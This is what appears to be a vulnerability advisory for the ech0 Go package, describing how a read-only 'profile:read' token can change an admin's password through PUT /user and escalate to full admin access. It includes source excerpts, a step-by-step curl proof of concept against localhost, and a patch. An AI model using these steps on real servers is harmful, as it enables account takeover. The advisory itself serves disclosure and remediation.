| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/lin-snow/ech0 | < 4.4.3all versions | 4.4.3 |
The PUT /user endpoint is protected by RequireScopes("profile:read"), which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted profile:read access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.
The scope enforcement system defines granular scopes (e.g., echo:read, echo:write, admin:user) but has no profile:write scope. The PUT /user route is protected only by profile:read:
// internal/router/user.go:40-44
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileRead),
h.UserHandler.UpdateUser(),
)
The RequireScopes middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:
// internal/middleware/scope.go:14-19
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
// ... checks access token has required scopes (line 53)
The UpdateUser service checks user.IsAdmin but does not verify the token's scope is sufficient for write operations:
// internal/service/user/user.go:271-300
func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := userService.userRepository.GetUserByID(ctx, userid)
// ...
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
// ...
if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {
user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299
}
After the password is changed, the attacker logs in via POST /login which calls issueUserToken → CreateClaims, producing a session token with Type: "session" (jwt.go:33). Session tokens bypass RequireScopes entirely, granting unrestricted API access.
Escalation chain: profile:read access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including , , , , etc.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeadmin:settingsadmin:useradmin:tokenfile:write# Prerequisites: Admin has created a profile:read access token for a read-only integration
# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)
ACCESS_TOKEN="<admin_profile_read_access_token>"
SERVER="http://localhost:8080"
# Step 1: Verify the token only has profile:read scope (can read profile)
curl -s -X GET "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 200 OK with user profile data
# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 403 Forbidden (requires admin:user scope)
# Step 3: Change the admin's password using the profile:read token
curl -s -X PUT "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"password":"attackerpass123"}'
# Expected: 200 OK — password changed despite only having profile:read scope
# Step 4: Login with the new password to get an unrestricted session token
curl -s -X POST "$SERVER/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"attackerpass123"}'
# Expected: 200 OK with session JWT token
# Step 5: Use the session token to access admin-only endpoints
SESSION_TOKEN="<session_token_from_step_4>"
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $SESSION_TOKEN"
# Expected: 200 OK — full admin access, all scope restrictions bypassed
An attacker who obtains an admin's profile:read access token — intended to be the most restrictive scope available — can:
admin:user), system settings (admin:settings), token management (admin:token), file operations (file:write), and all content operationsThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.
Add a profile:write scope and require it for the PUT /user endpoint:
// internal/model/auth/scope.go — add new scope
const (
// ... existing scopes ...
ScopeProfileRead = "profile:read"
ScopeProfileWrite = "profile:write" // NEW
)
var validScopes = map[string]struct{}{
// ... existing entries ...
ScopeProfileWrite: {}, // NEW
}
// internal/router/user.go:40-44 — require profile:write for PUT
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead
h.UserHandler.UpdateUser(),
)
Similarly, update other write operations currently gated behind profile:read:
POST /oauth/:provider/bind → require profile:writePOST /passkey/register/begin and /finish → require profile:writeDELETE /passkeys/:id → require profile:writePUT /passkeys/:id → require profile:write